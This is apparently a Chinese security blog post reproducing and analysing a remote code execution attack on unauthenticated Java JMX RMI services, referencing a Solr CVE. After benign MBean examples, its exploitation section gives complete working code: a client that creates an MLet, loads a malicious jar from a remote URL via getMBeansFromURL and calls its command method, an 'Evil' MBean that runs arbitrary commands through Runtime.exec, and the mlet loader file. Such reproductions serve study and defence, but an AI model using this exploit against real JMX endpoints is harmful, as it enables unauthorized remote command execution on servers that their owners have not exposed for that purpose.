Jmx Rmi Rce 漏洞利用复现&分析
0x00 前言
本来在复现solr的漏洞,后来发现这个漏洞是个通用的jmxrmi漏洞。
JMX是Java Management Extensions,它是一个Java平台的管理和监控接口。为什么要搞JMX呢?因为在所有的应用程序中,对运行中的程序进行监控都是非常重要的,Java应用程序也不例外。我们肯定希望知道Java应用程序当前的状态,例如,占用了多少内存,分配了多少内存,当前有多少活动线程,有多少休眠线程等等。如何获取这些信息呢?
JMX把所有被管理的资源都称为 MBean(Managed Bean),这些MBean全部由MBeanServer管理,如果要访问MBean,可以通过MBeanServer对外提供的访问接口,例如通过RMI或HTTP访问。
0x01 一些简单的🌰
创建一个接口
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
实现该接口
public class Hello implements HelloMBean {
private String name = "MOGWAI LABS";
// getter/setter for the "name" attribute
public String getName() { return this.name; }
public void setName(String newName) { this.name = newName; }
// Methods
public String sayHello() { return "hello: " + name; }
}
启用一个jmx服务端口,需要先注册mbean,然后将mbean绑定到jmx端口
import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws Exception {
System.out.println( "Hello World!" );
App app = new App();
app.restartServer();
}
public void restartServer() throws Exception {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
try {
// 注册一个MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key1=val1"));
// 再注册一个MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key2=val2"));
} catch (InstanceAlreadyExistsException | MBeanRegistrationException | NotCompliantMBeanException | MalformedObjectNameException e) {
e.printStackTrace();
}
// 新启用一个端口号用于JMX连接
LocateRegistry.createRegistry(9999);
JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(
new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi"),
null,
server);
jcs.start();
}
}
jmx客户端代码如下,用于连接远程的jmxserver并且打印mbean
import java.lang.management.ManagementFactory;
import java.util.Arrays;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class MBeanClient {
public static void main(String[] args) throws Exception {
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
Set<ObjectName> objectNames = mBeanServerConnection.queryNames(null, null);
for (ObjectName objectName : objectNames) {
System.out.println("========" + objectName + "========");
MBeanInfo mBeanInfo = mBeanServerConnection.getMBeanInfo(objectName);
System.out.println("[Attributes]");
for (MBeanAttributeInfo attr : mBeanInfo.getAttributes()) {
Object value = null;
try {
value = attr.isReadable() ? mBeanServerConnection.getAttribute(objectName, attr.getName()) : "";
} catch (Exception e) {
value = e.getMessage();
}
System.out.println(attr.getName() + ":" + value);
}
System.out.println("[Operations]");
for (MBeanOperationInfo oper : mBeanInfo.getOperations()) {
System.out.println(oper.getName() + ":" + oper.getDescription());
}
System.out.println("[Notifications]");
for (MBeanNotificationInfo notice : mBeanInfo.getNotifications()) {
System.out.println(notice.getName() + ":" + notice.getDescription());
}
}
}
}
注意移动的时候需要加上参数,我这里是idea直接加上
-Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
同样可以使用jconsole连接进行查看
从以上例子可以看到,可以通过jmxrmi的远程服务进行调用。上面的例子即调用了Hello类的sayHello方法。
0x02 漏洞利用
前一个点已经讲过可以进行远程调用已在Mbean中加载的类和方法,但我们需要一个命令执行的类和方法,这个方法只能通过远程进行预加载进来,于是就有了另外一个方法,通过Mlet的getMbeanFromUrl方法进行远程加载恶意的jar包,再对其进行调用。
网上的例子有点小bug,当jar已经加载到内存中则会显示objectname已加载的错误,重新写了一个exp,若已被调用则直接调用该objectName
import java.lang.management.ManagementFactory;
import java.net.InetAddress;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class MBeanClient {
public static void main(String[] args) throws Exception {
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:10000/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
//System.out.println("123");
MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
ObjectInstance evilBean = null;
ObjectInstance evil = null;
Object expResult;
try{
evil = mBeanServerConnection.createMBean("javax.management.loading.MLet",null);
Object loadEvilBean = mBeanServerConnection.invoke(evil.getObjectName(),"getMBeansFromURL",new Object[]{"http://127.0.0.1:10001/mlet"},new String[]{String.class.getName()});
HashSet hashSet = ((HashSet)loadEvilBean);
Iterator iterator = hashSet.iterator();
Object theObject = iterator.next();
evilBean = ((ObjectInstance)theObject);
System.out.println(evilBean.getObjectName());
expResult = mBeanServerConnection.invoke(evilBean.getObjectName(),"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
} catch (Exception e) {
ObjectName objectName = new ObjectName("MLetCompromise:name=evil,id=1");
expResult = mBeanServerConnection.invoke(objectName,"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
}
System.out.println(expResult);
}
}
另外重新编译
//EvilMBean.java
public interface EvilMBean {
public String runCommand(String cmd);
}
import java.io.*;
public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}
编译成jar包,我这里直接idea build一下
将jar包和mlet文件放到同个文件夹下,mlet内容如下,并且其中web服务
<html><mlet code="Exploit.Evil" archive="EvilJar.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:10001"></mlet></html>
注意,记住code的内容为jar包中的类的路径,name也要记住,因为后面在已加载成功以后第二次是无法利用的
执行命令成功
0x03 参考
https://github.com/jas502n/CVE-2019-12409
https://www.anquanke.com/post/id/194126